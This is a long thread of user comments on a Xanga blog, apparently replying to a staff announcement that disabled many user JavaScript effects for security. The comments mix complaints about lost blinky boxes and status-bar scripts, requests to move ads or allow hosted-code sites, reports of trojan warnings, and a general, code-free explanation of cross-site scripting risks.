  • i no this is for good reason but, i dont like the idea of when u right click ur logged out...because i right clicked a picture that wuznt showing up..u no the little white box with a red x inside it? well, i wanted to see the picture, so i right clicked it to click "show picture" but i wuz logged out...i think thats a little unfair..but i guess thats jus how it works for no stealing...

  • It's not like I knew how to use half of those codes anyway. ;o) Thanks for keeping Xanga safe and warm and fuzzy.

  • Is there no way around disabling the blinky boxes and things that scroll on the top of the page?  I understand why you're doing it, in fact I don't disagree with you at all for doing it.  It's just that I sort of miss my blinky boxes, and I was so proud of myself for fixin up my xanga all pretty...and now some of it doesnt work!

    --Mianess--

  • Now my scrollbar has gone to sh*t... however, I have a suggestion, and I don't know if anyone else has said this...

    How about you find a safe way to house these clock, scroll bar, and blinking scripts on your server, and make them customizable by the user through a form or something like it. Example:

    On the "Look and Feel" page, add a cell that contains parameters for the scroll bar script you would have housed. You could change scrolling speed, scrolling text, delay before starting, speed of each character, etc. And also have somewhere were you can choose what style you want (character-by-character, marquee-style, random-to-orderly, etc) and from there the parameters can be set.

    That's just an example, as best as I can explain right now. And if you wanna be mean, you can make them apply to premium members only. But you wouldn't do that, would you??

  • BULLSHITAKE!

  • cool!

  • bleh =) u really should leav the ads on the bottom..would make things ezier fer everyone... =D win win situation

  • i want my blink boxes! sigh....:(

  • it kind of sucks because I had a code on my site where when you moved your cursor over a link the text would fade and change colours...now it doesnt do that! :(

  • yea i kno man...this is bullshisen

  • why i mean u should keep it however.

  • i don't know if this has to do with security or what, but xanga has deleted all my posts and settings back to march 8...don't know what the deal is.

  • ok...

  • its kinda sad that i have to give up these things... but mostly i miss the countup script.......

  • I've been with Xanga for over 3 years now and I believe that the crew has done a wonderful job keeping the ads to a minimum.  The ad just sits right at the top, it doesn't blink or make any sound to distract anyone.  We are very lucky to have such calm ads, and I truly appreciate the fact that we are spared from the pop-up ad. 

    Keep it up guys, you're doing great.  I use a script that prevents right clicking, which protects me from material theft.  I've heard of javascripts that have done worse damage than auto-subscribing.  Those are some very small sacrifices [especially blink boxes, give me a break] for the safety of the whole Xanga community.  Thank you. 

  • You killed my links, they used to change color.  Seriously.

  • Cool beans. I don't mind the ads one bit, and I hate getting autosubbed and autojoined. Let's be honest here, the little clock that follows the cursor isn't that big a loss compared to having Xanga for free.

  • HEY! i had that picture as my avatar for a long time. rock on man.

  • OMGOMG PLZ TAKE OFF THE LIMITZ.. MY XANGA IS LIEK USELESS WITHOUT THEM..ALL MY FRENDS SAY DAT ITZ ALL BORING AND STUFF.. BE4 MY XANGA USED TO BE THE STANDARD WHICH EVERYONE TRYS TO SURPASS!!! NOW ITZ NOTHING!!!!?/U>http://www.xanga.com/albino_blaKk_boi plzplzPLZ TAKE IT OFF I BEG U!!!!

  • hello i didnt know who else to write this too.
    I can't make any new post's or fix my profile on my site.
    It keeps saying error?
    help please!
    thanks

  • This is cool. My friend's website kept giving everyone that visited it viruses. Good thing you upgraded the security.

  • thats whack you cant set script for free

  • no complaints about this...but it's been OVER a month now between the profile "revamp" which disabled actual profile pictures and replaced it with the only option of hosting it on xanga servers and making the end result a crappy thumbnail, we conversed via email for a bit...but never heard from you again. i am a very disappointed yet pleased xanga premium customer i'm confused on what to think

  • it broke the count up code too, but all's better for the saftey i suppose

  • dont u think those falling things and decorative things are just to express someone..they arent hurting anyone.. xT

  • you guys should ban music on xanga.. that sh!t is annoying.

  • In the great words of Gangster Paul Vitti..."You! Your good you!"

  • gee thats a little retarded seeing as how nobody clickes those ads anyways why dont you just punish the wrong doers instead of making everyone else go down with them? no offense but i really dont like the direction xanga is going and i think it wont be long before i stop blogging (and apparantly judging from all those antagonizing comments, so will a whole lot of other people). and i highly doubt you guys even read these comments people are leaving so i guess  i just wasted 4 minutes typing all this. if you do read em, leave a comment. other wise i'll just take for granted you guys really dont care about the welfare of your fellow xangans. 

  • did you also take away color fading links?

  • haha. yup so many people had those blinky boxes n flowers fallin from their site. my scrollin welcome thingi was removed. too bad i guess. i miss it.... buh its okai. theres much more to do. some people hab to ruin it for all ob us  >.<

  • "ok..im thinking sum of these ppl need to shut up bcuz john doesnt even have to be doing all this for free! xanga could cost money then what would all of you do! i love xanga and im so glad sumone took time to make it and especially not charge for it! THANK YOU! all you other ppl..just stop using xanga if you don't like it..goodness! ttyl" ---FrOnTLiNeBaBe101

    I couldn't agree with you more.

  • its cool keep up the good work

    -MIKE

  • @ comments

    Keep up the good work guys!

  • i miss my blink-box and my words on my status bar AND my clock... i never fucking put a code to strip the ad!!!!!!!!!!!!!!! why do i always suffer for other people's doing? HUH? this sucks... you know a lot of people are going to quit xanga for this! and it's not like you're gonna make people buy xanga premium anyways... I don't find it much different from free xanga. you're causing trouble for everyone. but i like using xanga... and so i shall. security measures.... fuck security measures! well... sorry... but I've been having a bad day... and you're not making it any better. -khristine

  • i dont think this is fair if the people that DONT mis-use xanga have to go through this too..but that is just my opinion...

  • UHH~OHHZ!!! wat happened?! yooh knoe the hole status bar thing where stuff floze threw it? on mai page itz not working!!! i have a different page n itz working on there!!! y izn~t it working on mai uthur payge?

    well i have no idea watz going on so kan yooh pleeze help meeh? ~a gurli wit a problem!~

  • i'm not sure if this has anything to do with what you all did, but my xanga won't let me put a picture up that i got from and aol site.  it works for my profile pic, but not if i just want it elsewhere on the page.  hope you can help.

  • well what about those very few of us that use div layers on our xangas?  now my layers are in the wrong places (i used position absolutes..)
    and is there any way you could make the ad appear at the bottom of the page?  now that my layers no longer work, the ad covers up part of my post, instead of being behind that particular layer -it wasn't hidden, just in a different place-..  so i can't click the link to create a new entry!

  • i think it's good you guys are doing this, cause it still makes it better for others. way to go xanga people!

  • Oh come on!  The ad boxes aren't that big of a deal.  If you people are so disturbed by them, dish out a few bucks and pay for the premium!

  • Flooble's Chatterboxes are giving me viruses. Not cool.

  • Complain, complain, bitch, moan, blah blah!! If it's not one thing, it's another. Don't you all have anything better to do then whine about a couple of javascripts not working? Seriously people are putting a lot of hard work into this site, and I am sure it is probably a source of income for the creator.  How would you like it if some one took 4 dollars a month from you just because? (If you say you wouldn't care, then purchase a subscription) They are being more then kind by letting people have a free Xanga page. They could strictly make it a 30 day trial and if you like it you have to purchase it, but no they don't.

    They are trying to make Xanga safer for YOU, not for them, for YOU! Wow, what a freaking concept. Ever stop to think about what they are doing for you, or is it just all about dumb blinkie boxes, falling crap, and annoying clocks? Sure that stuff is cool, but hell if you abuse it you lose it!

    Here is a site with all sorts of rockin' stuff for your Xanga pages- http://dynamicdrive.com/ If you so badly want something take the time you are using to complain about Xanga and search for JavaScripts that will work.

    Either that, or find the dumbasses who ruined your fun, hunt them down in an angry mob, with pitch forks and torches. Have a good ol'fashion lynching. Woot!

  • yeah I agree with what some poeple said up there. I believe that if Xanga Ads were at the bottom of the page, no one would bother trying to get rid of it.

  • most of the blocked javascripts are too garish to begin with. I support your security measures 100%.

  • have you morons noticed that you guys are complaining about the limits on scripts when you're getting this for free? this is supposed to be a journal where you would write about your boring lives, not a magna-doodle where you can draw your crap on. if you want a site where people can comment on your unoriginal graphic creativity, then go to geocities or angelfire or the likes where that's what you're supposed to do. xanga isn't staying in business by being a charitable site. either get premium and get more privileges, or stay free and stop bitching.

  • thank you bob!!i don't like the word "sex" leading to a website, from my site!

  • It's okay with me, but the blinky boxes?! Those were my favorite scripts, kind of. Oh yeah, I got used to the ads, the ad is one with my Xanga. So I don't care if you keep the ads or leave em. But come on now... the blinky boxes? Oh well, Xanga is still the best.

    -jafnaval

  • how are you suppose to look at someone elses private postings..is there a easy way to locate them..??

  • fuck you took out some of my codes !!

  • Well hey now i have to figure out how to make my daily comments in thewindow i created abouve my site work in a new way cuz it dotn int he old java script way dammit lol its okay ill fgure something else out

  • if i block people on xanga, will they still be able to view my page?

    can i do it so that certain people can't view it?

    or if not.  can i unsubscribe those people who i don't want subscribed to my xanga?

  • aww... i miss my blinky boxes...

    i agree with the person at the top too, i wouldn't mind adds if they were at the bottom. that would be cool!

    oh well, u do what ya have to do!

  • awesome.
    xanga is awesome.
    if people have a problem with the ad's they either need to deal with it or get premium, and stop stealing from something that was already free.

  • ive been having trouble with my xanga xtools premium box... i dont know if its because of this new java security thing or if its with my browser? but yeah.. whenever i push any of the buttons in my toolbox... like BOLD or ITALIC or even EDIT HTML... it says "error" at the bottom.... help me yeah? or is it just me?

  • i have noticed a problem since you put in the new security devices. i am a xanga classicx user, and whilst in the look and feel section, if i press "preview", the [yes/no] buttons are actually behimd the ads. its just bothersome, it doesn't affect the site, but i don't know if you guys knew this or not. sorry!

  • Hopefully more people will realize that going premium supports xanga and that it takes care of those malicious codes people are creating.

  • SaintMahone.......three cheers.    *big grin*

  • yes!!

    VIRUS WARNINGS

    I'M GLAD SOMEONE BROUGHT THIS SUBJECT UP. I'VE BEEN E-MAILING XANGA ABOUT THIS VERY SAME ISSUE. I'D LIKE IT RESOLVED IF INDEED THERE IS A WAY TO PREVENT THESE ADDWARE AND ASYWARE PROGRAMS, ALONG WITH THEE ONE AND ONLY TROJAN VIRUS.

    POP UPS ARE INVADING MY XANGA. I PAY FOR THIS SITE, AND I EXPECT ONLY THE THINGS I PUT IN THE PAGE TO BE THERE. I DID NOT ASK FOR THREE DIFFERENT VIRUSES.

    NOT VERY HAPPY RIGHT NOW....

  • IF I'M DOING SOMETHING WRONG, INFORM ME....

  • um ok when is my javascript coming back my site is sooooo naked

  • oh and thanx 4 the warning

  • I want to add the NFG banner to my xanga site.

    http://data.gffn.com/team/newfoundglory/banner.asp?&id=3638705">
    that's the script code.

    http://home.bak.rr.com/hotenuf/xangapics/nfgbannerpage.htm
    This link is a page where the script is active.

  • WHAT THE FRREAK DiD YOU DO TO MY XANGA!??!

  • stop pissin and moanin for a free service xanga is the pretty damn good.

  • Is there a way to move the banner on my xanga to the bottom of the page instead of the top?

  • great job guys!!!  i love the script for renaming links!  keep up the great work!

    p.s. i'm a proud lifetime xanga premium member!

  • buttkiss

    :smirks:

  • sorry

  • I liked my blink boxes...they were cool...and my status bar..now my xanga isn't xangafied anymore! =P It'd be nice if you bring it back and just punish those who put those adscripts on their page

  • i wish ppl would just stop trying to get rid of the xanga ad...itz just an ad..i dont even notice it nemore

  • I have Premium on this username, but not my other one. I've found a way around your new "security measures", but don't you think I am justified? Why should I have to pay double every month just to have a second blog? jayssite

    Awwww, life is so unfair, isn't it? And the world owes you a living! Twit!

    Good work, Xanga guys!

  • i want my blinkies back.... i dont mind the xanga banner....i dont mind it where it is...but i do agree it would look better on the bottom....

  • haha xanga just gave me a trojan. kinda funny. i was reading a post about bad pop ups, which was posted by megan cox. haha.

  • Not that you will fix this but I have a complaint. Some guy who goes by the user names dalife44, anonymous850, and anonymous857 has been leaving me nasty comments. Of course I continue to block him, but he makes a new user name everytime and verbally attacks me. I am also leaving this comment here in case anyone else reads this. They will know to look out for him. Thank you.

  • Hi there,
     
    As some may know there is a site on xanga that has failed to meet xanga's own "terms of use"
     
    "upload, post, email or otherwise transmit any Content that is unlawful, harmful, threatening, abusive, harassing, tortuous, defamatory, vulgar, obscene, libelous, invasive of another's privacy, hateful, or racially, ethnically or otherwise objectionable; harm minors in any way;"
     
     
    The site uses extreme bad language and threats of murder, this site was directed at two little girls and their mother, but as you will see if you go there, it is at anyone who fits the site owners category for this offensive attack.
     
    I, as with many others so far have contacted xanga management many times in the past 36 hours, with no response to our emails, the site in question still remains and it appears that xanga is not doing anything about this.  I have also emailed amazon.com and artistjournal.com who sponsor xanga.
     
    It seems to me that xanga are quick to take peoples money, but when it comes to being concerned for the safety and welfare of their subscribers, they are lacking big time.  I have tried with no luck so far to find a telephone number so I could call their office, if anyone has one I would very much like to have it, I wonder why there is no contact number? Even though I am in Australia, I would not hesitate to call the USA over this matter.
     
    I am urging you to keep up the emails to xanga, pass on this on to all your xanga friends and also email the xanga sponsors, we need to keep this up until this offensive and threatening site is down for good, and the owner is severely dealt with. Here in Australia, our Federal Police have the power to investigate this type of thing, no matter where it originates in the world.

  • hi john....i was wondering you if you can delete a xanga screenname because someone has posted a really nasty xanga with curses and a lot of hate towards me. so please comment back asap. thank you.

  • i dont mind any of the Boxes or nuthin! its kool with me but ya, whatever floats their boat.

  • For real the ads are going on the bottom! That'll be awesome!

  • le sigh, to bad some people (i.e me) are so young

    i can imagine the conversation with my mom now

    "mama can I pay money to a website to make my xanga preety-ful?"

    "sure!"

    4 dollars isn't much, but some people can't pay because it's not their money to spend.

    ne-ways do what you must, as long as I am not to limited with html life is good.

  • LoL thats funny..... "if ads were on the bottom i wouldn't mind em"
    Ads don't work if they don't stick out

    Xanga's kewl, we're getting alot for what we pay for (some of us like me pay nothing =P )

  • Sorry, Im a little confused. So the blinky boxes and cursor clocks dont work for Xanga anymore? I should just take the HTML code out?

  • Will the blinky boxes and clock cursors ever work again? Anytime soon?

  • To those complaining, please go to google and do a search on XSS. You will find a lot of technical code in there, but here are some basic things you can do with XSS.

    1) Theft of Accounts / Services
    2) User Tracking / Statistics
    3) Browser/ User exploitation
    4) Credentialed Misinformation
    5) Free Information Dissemination

    I have gone thru several security forums.

    To give you an idea of what can be done, someone can create a page that displays a website that requires a login (ebay for example). You type in your name and password and get an error for an incorrect login. You do it again and get in. In the mean time, someone else has your credentials.

    XSS has the ability to prevent your page from coming up or being redirected to a "bad site". In other words, someone puts in a comment and when you go to that page to view stuff, you are redirected to another page.

    XSS can read your email address that you normally use, and post it to spam companies or use it to spoof spam.

    It appears that the Xanga team has implemented code changes that prevent someone from inputting these codes into their pages or others pages. Unfortunately, since some do it, all suffer. Rather than vent on the team for trying to protect people by doing this, realize that you should be upset by the people that were doing the wrong things and causing issues.

  • is blogring.net ok with the new rules? we can still use that site right?

  • i keep getting this trojan virus from some fake site called achtungachtung.com

     i have also received notification of this.  what is this and why does it work through xanga?

  • wat do u mean blinkies dont work?!?! i have some on my site that work jus fine!! lol!!

  • hahaha

  • Hi, I'm new at Xanga. Is there anyway to add a Haloscan Box to my WebSite? I don't like the fact that non-Xanga users can't leave messages.

  • "Awwww, life is so unfair, isn't it? And the world owes you a living! Twit!

    Good work, Xanga guys! " - moon_dancer

    God, f*** you all, I was just trying to make a valid point and you all just bitch at me ... Four per month is too much already but I pay it. I just want a sub-blog... you act like I want the world. I'm using the adstripper - like it or not. Why should you care??? (it's only one blog, and i pay premium anyway.)
    (PS: don't respond to this if you're going to be retarded)
    (PPS: there should be an easier way to reply to people's comments! just a suggestion...)

  • ARe the status bar messages never going to work again?!?!?...cuz i really liked it...

  • please tell me a site i can use to put music up on my xanga... http://www.cdzlimited.net isn't working

  • i guess this is what you have to do to keep xanga free

  • dammmmmmmmmmmmmmmmm so many ppl

  • yeah cant u make the ads on da bottom..da cursor clock..blinkie boxes..dey sumtimez da core of peoples sitez..

  • awwwwww, but it ok. people will found new way of getting it.

  • i defenently like that picture!!!

  • I'm glad for the better security and tired of those kids with xangas for the purpose of stupid pleasure of having one with cool accessories.

  • Can you guys enable setTimeout again yet? The people who removed ads will find new ways to do it, if they haven't already. But the innocent people probably won't, because it's not that big of a deal to them.
    But it may already be too late... a lot of the people who said they were going to leave xanga may have already done so...

  • :D

  • What's up with all the complaining. The new security measures may be inconvenient. But instead of cussing and going off on people who offer web space and a great place to have a community for free, go buy your own web space.

  • wooww

  • i like the banner (= before i hid it, but i was like i dont really care anyways, so whats thepoint, just to much html work on the page and it slows it down.

  • hmmmm ok... c0o c0o

  • i still want da ads to be at da bottom...da ad is blocking my do u want to save thing yes or no and i have to scroll all da way to da bottom N i too lazy scroll down......

  • everytime i go to my xanga site... my virus protections detects a Trojan called VBS/Psyme...... why??? Please make it stop!!!!! AH!

  • Sure - I'll go premium, if someone wants to hook me up with it! Ha ha...

  • gee way to go guys...!! now i cant use my position absolute

  • i dont have my bluebox chat box no more did u guys take those out too? jst asking xD

  • Well at least Xanga is still free.... I don't know what I would do with out it!!!

  • Wonderful. God bless. :)

  • considering I'm computer illiterate and have noe idea how to even use scripts... I can't complain... not like I would anyways

  • good job. go free xanga

  • that sux!...o well..bye stuff

  • Its all good here i guess, I can't complain since its free fo sho.  Goodnight everyone.

  • Thank you! Now maybe you can sift through some of these unappreciative, whining morons.

  • please give teh blink boxes and falling objects back!!! *tear*

    ~Eva

  • thats cool, my xanga's not affected, i was afraid it would be b/c i added a lot of script to certain parts, and i have a chatbox, but hell, everything still works and its still free, sounds like u did a good job 2 me.

  • Ok I will be good for my Premium site.

    Nick

  • dang! why is everyone complaining about this? xanga is free to use.. be happy!

  • Ah well most those scripts people use are totally annoying anyway. I know I won't miss em.

  • Awww, I miss my status bar script, but that's cool!

    Thanks for letting us use Xanga for free!

  • this is frying my brain im so confused

  • if the ads were on the bottom they wouldnt be worth as much because they would get less viewing... are the adds really that noticable? i forgot that there were even ads on the top... but hey, thats just me...

    thanx guys, awesome work, its nice to know i can surf through without having yet another computer bite it from malicious codes and viruses... thank you =D

  • if the ads were at the bottom then no one would read them. the point of ads is to persuede people to buy their product. if the ads are at the bottem no one will read them. and no product is sold. if the ads are at the bottom, they might as well not be there at all.

  • I have a counter from StatCounter, but Xanga doesn't support their scripts. So how about considering adding StatCounter to the list of supported external Hosted Codes...

    Anyway, other than that...keep up the good work.

  • u guys complain too much about something that is FREE. Seriously...grow up people.

  • i think that if you allowed people to choost the type of ad they wanted then you would have less problems. for example you could let people choose between a banner ad, pop under ect..

  • I just want my Personal URL back, John. Register.com says to talk to Xanga and Xanga says to talk to Register.com

    Can you help with this? Or tell me who can please?

    GrumpyGlove (without the .net)

  • Hello,
    It's too bad to hear bout tightening up the security for Xanga.. I'll definitely miss the Blinky Boxes n that one text that scrolls around the page.. *sigh* but I guess it only takes one outta how many to ruin it for everyone. *deep sigh* well, I agree with a few people with the banner being on the bottom.. it'll make things quite easier.., but ya can't really block the people who have the auto-join codes.. bleh.. that sucks... Oh well.. Anyway, jus hear my word.. it's going to be sooo different without all those affects on the page... made people's sites "spark"...

    Sincerely,
    YamiD.

  • Ok From my point of view thank you for making Xanga Safer. PLease keep this free as long as possible, the less I have to pay the better

    to all who get the free stuff and abuse it. IT'S FREE WEB SPACE!!!! Why try to mess it up?

  • wwwwwwwwwwwwwhhhhhhhhhhyyyyyyyyyyyyyy!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!1

  • thanks for keeping xanga free

  • how come new posts aren't showing up for public view?

  • I love John.

  • xanga is awesome!

  • "Why should I have to pay double every month just to have a second blog?" -Jayssite

    Hear Hear, I'm with this guy! Why should I have to pay twice just to get a second car? And really, shouldn't I get two houses instead of just one with a mortgage this big? And $4.00 for a soda at the movies? Why, they should be giving me two.

    Life's just not fair.

    *rolleyes*  SaintMahone

    its not like your buying a car its like your having 2 different screen names on aol or something. you dont pay for each additional screen name so why should you pay for each additional blog?!!?!!

  • The scripts from http://www.georgewbush.com do not work anymore to post the newslinks from Bush's reelection site.

  • Well I don't really mind, it seems like all the things that will be disabled as a result of the new security changes are annoying things anyways. Those script cursors and blinkies take pages longer to load, and sometimes freeze my computer.

  • thanks for making xanga safe!!

  • um... everytime my friends and I hit up my xanga, we get a popup and our Anti-virus software finds and blocks a trojan... I paid for xanga so doesn't that mean I won't get any popups or ads on my site?

  • I dno wtf you ppl did with this upgrade, but I had to go and register for my chatterbox all over again. The security measure is good, don't get me wrong, but when it affects those who aren't doing anything, then it's rather unfair. Sounds contradictory, I know, but it's the truth.

  • In simple english?????

  • eh nice job with the higher security but my counter is gone did this change affect it??

  • Thanks John!  You heard me! ( I never doubted you. )

  • ["As for Hosted Codes: we had to be careful about which external websites can host javascript, since hackers could try and use them to run malicious code on Xanga sites.  We added just about every external website that users alerted us to during the beta...  Chatterbox, Blogrolling, Bloglines, Buzznet, Sideblog, etc.  If your externally Hosted Code didn't make the list, let us know in the comments and we'll take a look!"]

    I have one I need checked out and hopefully accepted. http://flash-gear.com (counters/chat/drawing). All simple and safe.

    Thanks alot, and great job on the security!

  • wut other javascript functions hav been disabled?

  • Is it okay to go use the codes on these sites:

    http://mad-html.com/
    http://www.onlyanime.net/main.html

    can i get blogs, midi's, and other codes that are okay.

    anyway its good that ur doing ur job for xanga 

  • HUH??????????

  • I've been part of Xanga for almost 2 years now, and I love it. You can say it's part of my daily routine now; for it's lyke a public diary to share with your friends and ect. However, because of the limits of being a regular member, I find it quite boring with the layout. Therefore, I like to tweak it up with codes and ect, but over the months you guys been really at it with the banner which really make my site look really, well, screwy with this huge banner on top of my layout... It really annoys the living heck of me and surely hundreds of others too. But I understand that it's the only way to keep Xanga free, (which I'm really glad it is ::smiley:: ) so I support your ad idea (with many fallbacks...). Basically, I was wondering if you can make some form of a compromise between your hundreds of you adoring Xangans by at least making the banner smaller or even placing it at the bottom instead of the top, perhaps? Overall, I'm just wondering if you can just think about my idea. Either way, both Xanga and Xangans will be slightly happy. =D

  • Well I don't that much about what you are doing, but I hope it will be beneficial to all....thanks for xanga...it is great

  • i think that is really stupid.....because u censored out bad words! when there not even that bad! by the way why do premium members have to go through this bullshit!
    whatever man!

  • i guess i can see the sense in that but really i just wanted to get my name out will someone plz comment my site or im oe email me about my 'PUPPIE'  posting thank you bye

  • Xanga is gonna be really gay now!!!!!!!!!!!!!!

  • i agree please put them on the bottom bc now ppl are just trying to get rid of them btu if u would just put it on the bottom we wouldnt be having these problems...right?

    Kevin

  • Thanks a lot guys!

  • MSNBC.com and MSN.com codes don't work... And the script blocker is affecting my Xanga.CSS file on GeoCities!!!

  • Thank you.  Hopefully this will cut down on the number of blogs that crash my browser with all their little scriptkiddie addons.

  • i have a problem and i think its b/c of this...when i press the box for writinf a comment a scrolling line comes on the side of the comment box and when i submit my comment the comment turs out like this

    <TABLE id=HB_Mail_Container height="100%" cellSpacing=0 cellPadding=0 width="100%" border=0 UNSELECTABLE="on"> <TBODY> <TR height="100%" UNSELECTABLE="on" width="100%"> <TD id=HB_Focus_Element vAlign=top width="100%" background="" height=250 UNSELECTABLE="off">yo <TR UNSELECTABLE="on" hb_tag="1"> <TD style="FONT-SIZE: 1pt" height=1 UNSELECTABLE="on">

    please help thx

  • ok think datz an ok idea and all but i was jus wonderin if thos has anything to do with pictures of quizzes i take not showing up right...

  • I hope Xanga will support Chinese Big 5~
    http://www.fungfung.net

  • the NEW (or recent signups) cool counters/xanga hits does not work because of the last few lines in the coutner code.

  • um okay i didn't understand much of that stuff, but cool whatever floats your boat and um yeah whatever works. sucks that people abuse the freedom and privlage at others expense but that's life for you. anywho glad to know security measures are upgraded or whatnot.

  • wow

  • aww i miss the blink boxes. maybe it will be fixed someday...

  • Heheh!

    I agree totally with the security measures.  I like xanga to keep free!  Xanga is my life!  Anything to keep my xanga free makes me happy, but one thing  that saddens me, since this new measure has gone up the adds conflict with my header.  I have a pic for my custome header (it shows like the theme of the week) and now the add is on top of it.  It is makes me sad. :__: But ohwell, gotta do what you gotta do...

    Another question...
    Why does the add have to be at the top of the page?  Couldnt it be at the bottom?  It wouldnt be such a bother to those people who see it as a "ugliness to there site" I dont mind much, but yeah.  Just curious. 

    another question (sorry for all the questions)

    If you found a code that could put the add at the bottom of the site, is that like against the user agreement contract? 

    Im just curious.

    thanx for keeping xanga free!

    always,

    ^^^^ I have also had this problem. It may be coincidence, but all three of the pages that i've gotten the virus from have had flooble chatterbox things on them.

  • totally freakin liek omg!

  • that is stupid some people here only have xanga to show their true selves well at least some of us do. man that is just messed up.

  • how do I but music on my xanga?

  • so, it kinda really really sux that people use the scripts to do stuff that's bad for my fave lover, xanga. however, i'm not sure, but there is a chance that i used something like that. i was going to use a code to take away the add....i didn't know that it really mattered. ::sobs:: i'm so sorry, xanga! will you ever forgive me???? anyways, i love xanga and whatever you have to do....do it. xxx~sally

  • can i make a suggestion?!? i was thinking that if you could make a preview button for entries you make because then sometimes if people put codes in the entries and they're really long they can preview it to see if it works or not.. that way they don't get frustrated with it.. just a suggestion.. thanx a bunch!

  • XoBadl3itchoX

  • how come xanga wont let me go to my website????....please fix this as soon as possible...thanks....just let me know whats going on....those information up there doesnt help me much....

  • okay...well...i understand a lot of this, and i can say i dont mind the add at the top of my site. its not that bad, people can get over it. the sites free for that reason. I know a lot of my friend have xangas and rely on the free codes to make your xanga to look better and not plain. please think of some way to keep it free and for us to have our little add ons. i've had my xanga for over a year and a half and its part of my day everyday. shoot we all go to the library to check ours!

    i respect taht you guys are tryingto keep xanga safe ((thanks for that by the way)) jsut watch out for the bad and try to let us keep some of our good!

    ((bailey))

  • dood thats so gay. but i can understand your view point. whatever i can't believe your getting rid of a lot codes we use. can't you do something else.

    UR STUPID I HATE YOU!!

  • nice

  • that kinda sucks... i just updated to premium to get rid of it at the top and now there gona be at the bottom... I think you guys are goin to get alot less people switching to premium if you do that... thats my opinion... whatever, xangas cool.

  • Finally had a dabble and got what i wanted thanks for showing the easy way of changing eprops/comments etc now my site has more of what i like.

    You do a great job Xanga team again keep up the great work

    Love and sunshine

    Kaziophia

  • just wanted to say thanks for keeping my cb0x up!!! =D i am very happy...

  • Big Important Xanga Person -

       I'm here to suggest that you make "Currently Playing [insert Video Game name here]" an option for people when they blog. I personally think it would be very popular and help xanga be the best it can be.

  • well if the ads were at the bottom, no one would look at them so it would be pointless for companies to pay to advertise meaning everyone would have to pay for xanga you idiots.

  • cool dude

  • Yay...?

    *does not apply to him*

  • oOo kool x) my blinkiees =T hehez its alritee newayz xanqa is koool =)

  • Thanx. It sux for the ppl who weren't doing anything like that but you gotta do what you gotta do. I would be upset if we had to start paying for our lovely xanga!

  • Yea i agree with the other people above my coment if the ads were on the bottom we wouldnt really care about them but you need to look in more some of my friends sites got hacked what else can we do to stop that.

  • Why doesn't the counters from: http://www.coolcounters.com, work? Man that sucks you'll took away all the cool codes...now this is just like everyother web hosting site.

  • Nice job fellas.  Though the ad is *somewhat* annoying, I do understand that it is the only way you can make xanga free, and I respect that.  I noticed my blinky box stopped working but oh well.  Thanks for keeping the hackers and mallicious code users out.

  • i am personally glad people can't do that to their xangas anymore. it's immature and annoying, plus it takes forever to download somepeople's sites. so i am glad that people can't do that anymore.

  • just wanted to ask...would putting the ads on the bottom allow ppl to use the falling objects and blinky boxes script? just wanted to know...

  • What exactly are you disabling to non-premium users? an why are people saying they have to pay double to post a second blog?

  • KAZAM!

  • so activetopic chatbox came on again for about ... two days ... what happened!?!

  • agreed! I like my blink boxes. I think those AT LEAST should be able to remain on xangas. What harm can THEY do? Its not like they block out the ads that keep Xanga free! I dunno, I guess this is just a reason to switch back to greatestjournal cos they didn't do this type of thing.

  • wtf...now my status bar text doesnt work... =/

  • i want mah blikie boxes back and mah falling hearts :(

  • i just want my activetopic shoutbox back. flooble sucks. half the time i had my flooble chatterbox it never even worked and took for ever to load.

  • Every single one of those impacted scripts you list deserves to die a horrible death (along with embedded music files, but that's another post). Good work.

  • awwe, come on!! the blinky boxes are not that serious!! it helps to improve tha look on some people's pages!!!!!!! keep at least tha blinky boxes!!!!

  • It's always the people who want something for nothing. A lot like the kids I teach. I love my xanga and I don't mind paying for it either.

  • Do you think that adding codes can somehow make our own xanga beautiful, and attractive, it is only in this way that can make non-xanga members join it and enjoy the fun.

    I suggest Xanga staff freeze or ban all those people who are trying to remove the ad, and freeze those hackers. If not, our xanga will be very boring...please don't....='(

  • ya lol i used the chat boxes please dont take those away

  • You need to add sitemeter.com to that list. Curentally, you cant put the counter code in the post it's self wich can be useful at times. It just leaves the counter's ID at this point and no counter.

  • i dont see how the words at the status bar interfere with the displaying of your ads. it personally doesnt bother me if you guys show your ads on my site. but as long as im not forced to pay for my xanga, i'll be ok. i just think that mabey insted of punishing everyone for something those other jerks did isnt fair.

  • thanks for the help

  • dis is bs..man..wateva..soon eveyroen start 2 leavin xanga..n move 2 diaryland or sumting..blah..sux ass

  • please add tag-board.com to your list, it's a wonderful site i've seen used on many websites and i'd love to be able to use it on my xanga as well. thanks!

  • still its cool, we can have xanga for free. so thats cool

  • nice

  • You can't bitch about free stuff.

    1) ads are like tv commercials... no one pays attention, but money is still made. Ads on the bottom will not be seen. Sponsors don't want that.

    2) All these damn scripts are just garbage and confusing. A blog is made to be a journal, not a personal website. If you want freedom of code, get yourself a free website... Xanga is not designed for free use of code.

    3) Seems like most people don't understand that code can be installed on the client side of the connection, and end up destroying your personal data.

    I think the people at Xanga are very generous to even be allowing some of the code you guys find, or make. I think is bullshit how some of you bitch about paying two times for two blogs... You could say you have two, but give one to someone else... There goes the company! Think... You don't get things for free that easily.

    Thanks Xanga for thinking about our computer's safety, and member's value!

    Jhop

    PS. 100 eprops

  • ohhhh thats why my lyrics arent working on my status bar anymore...oh well i understand stupid ad strippers! :(

  • You also need to add blogroller.com to the list.

  • Happy April Fool's to all of you....now will someone PLEASE tell me how to get that huge picture of Bugs Bunny off my Xanga???  Am I the only one this happened to?

  • Ahhhh~ no wonder my scrolling script wasn't working on my status bar~! . haha, i'm glad i came here to check! and thanks for the update!

    Aatila

  • :)

  • I just love xanga!.

  • well whatever you have to do to keep xanga free and safe

  • how do you get something to follow the curse around, like fire balls or something?

  • oooh

  • some of these people commenting are really dumb. heh...those people that think you did all this just to take away falling stuff and what not should have their accounts reset...heh...

  • thats cool, thats cool

  • i really enjoy xanga...i tried going premium before like 2 months, it was nice.. but i like it free the way it is.i think that if xanga was to demand payment for usage then i would want to become a member any longer~ ! ;]

     

  • visit The Public

    THe Public

  • Blinky boxes, falling things, floating clocks, etc are all MUCH more annoying than any kind of ad, even popups. At least the ads serve a purpose.  All that cutesy java script does is prove that you know how to copy and paste from Webmonkey.

    If you don't like that you can't fill your blog with idiotic script that does nothing but take up space and annoy any visitors you might have, then feel free to cry everybody a river.

    Ads keep Xanga free. Whine all you want about the ads being at the top or the bottom of the screen, at least they're banners. If any of you are veterns of Bolt, you know that it's been basically killed by all manner of popups and flash ads. After Bolt, one banner is trivial at best.

